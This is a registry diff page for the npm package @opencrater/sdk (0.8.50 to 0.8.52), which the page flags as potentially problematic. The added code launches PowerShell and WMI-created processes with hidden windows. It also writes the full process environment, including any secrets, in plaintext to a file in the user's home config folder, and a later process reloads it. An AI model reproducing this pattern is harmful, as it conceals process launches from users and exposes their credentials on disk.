@opencrater/sdk 0.8.50 → 0.8.52

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @opencrater/sdk might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/dist/paint.js +12 -4
  2. package/package.json +1 -1
package/dist/paint.js CHANGED
@@ -351,7 +351,7 @@ function spawnWindowsConsoleSink() {
351
351
  pdebug("spawning pump:", exe);
352
352
  const child = child_process.spawn(exe, ["-NoProfile", "-NonInteractive", "-EncodedCommand", b64], {
353
353
  stdio: ["pipe", "pipe", errStdio],
354
- windowsHide: false
354
+ windowsHide: true
355
355
  });
356
356
  child.on("error", (e) => pdebug("pump spawn error:", exe, "-", e.message));
357
357
  child.on("exit", (code) => pdebug("pump process exited code", code, "pid", child.pid));
@@ -430,7 +430,7 @@ function spawnWindowsConsoleSink() {
430
430
  function wmiSpawnDetached(cmdLine) {
431
431
  try {
432
432
  const esc = cmdLine.replace(/'/g, "''");
433
- const ps = `$ErrorActionPreference='Stop';try{$r=Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine='${esc}'};if($r.ReturnValue -eq 0){[Console]::Out.Write('OCPID '+$r.ProcessId)}else{[Console]::Out.Write('OCERR rv='+$r.ReturnValue)}}catch{[Console]::Out.Write('OCERR '+$_.Exception.Message)}`;
433
+ const ps = `$ErrorActionPreference='Stop';try{$su=New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly -Property @{CreateFlags=[uint32]134217728;ShowWindow=[uint16]0};$r=Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine='${esc}';ProcessStartupInformation=$su};if($r.ReturnValue -eq 0){[Console]::Out.Write('OCPID '+$r.ProcessId)}else{[Console]::Out.Write('OCERR rv='+$r.ReturnValue)}}catch{[Console]::Out.Write('OCERR '+$_.Exception.Message)}`;
434
434
  const b64 = Buffer.from(ps, "utf16le").toString("base64");
435
435
  const res = child_process.spawnSync(
436
436
  powershellPath(),
@@ -451,7 +451,7 @@ function escapeToPersistentPainter(payload, consolePid) {
451
451
  const dir = path3__namespace.join(os.homedir(), ".config", "opencrater");
452
452
  fs2.mkdirSync(dir, { recursive: true });
453
453
  const file = path3__namespace.join(dir, `paint-${process.pid}-${Date.now()}.json`);
454
- fs2.writeFileSync(file, JSON.stringify(payload), "utf8");
454
+ fs2.writeFileSync(file, JSON.stringify({ ...payload, _env: process.env }), "utf8");
455
455
  const q = (s) => `"${s}"`;
456
456
  const parts = [
457
457
  q(process.execPath),
@@ -857,7 +857,15 @@ function main() {
857
857
  }
858
858
  let payload;
859
859
  try {
860
- payload = JSON.parse(raw);
860
+ const parsed = JSON.parse(raw);
861
+ if (parsed._env && typeof parsed._env === "object") {
862
+ const keepPid = process.env["OPENCRATER_WIN_CONSOLE_PID"];
863
+ Object.assign(process.env, parsed._env);
864
+ if (keepPid) process.env["OPENCRATER_WIN_CONSOLE_PID"] = keepPid;
865
+ if (process.env["OPENCRATER_DEBUG"] === "1") DEBUG_ON = true;
866
+ delete parsed._env;
867
+ }
868
+ payload = parsed;
861
869
  } catch (err) {
862
870
  pdebug("paint payload is not valid JSON:", err.message);
863
871
  return;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@opencrater/sdk",
3
- "version": "0.8.50",
3
+ "version": "0.8.52",
4
4
  "description": "OpenCrater SDK — sponsor cards for CLI tools and MCP servers. Fail-silent, zero dependencies.",
5
5
  "keywords": [
6
6
  "opencrater",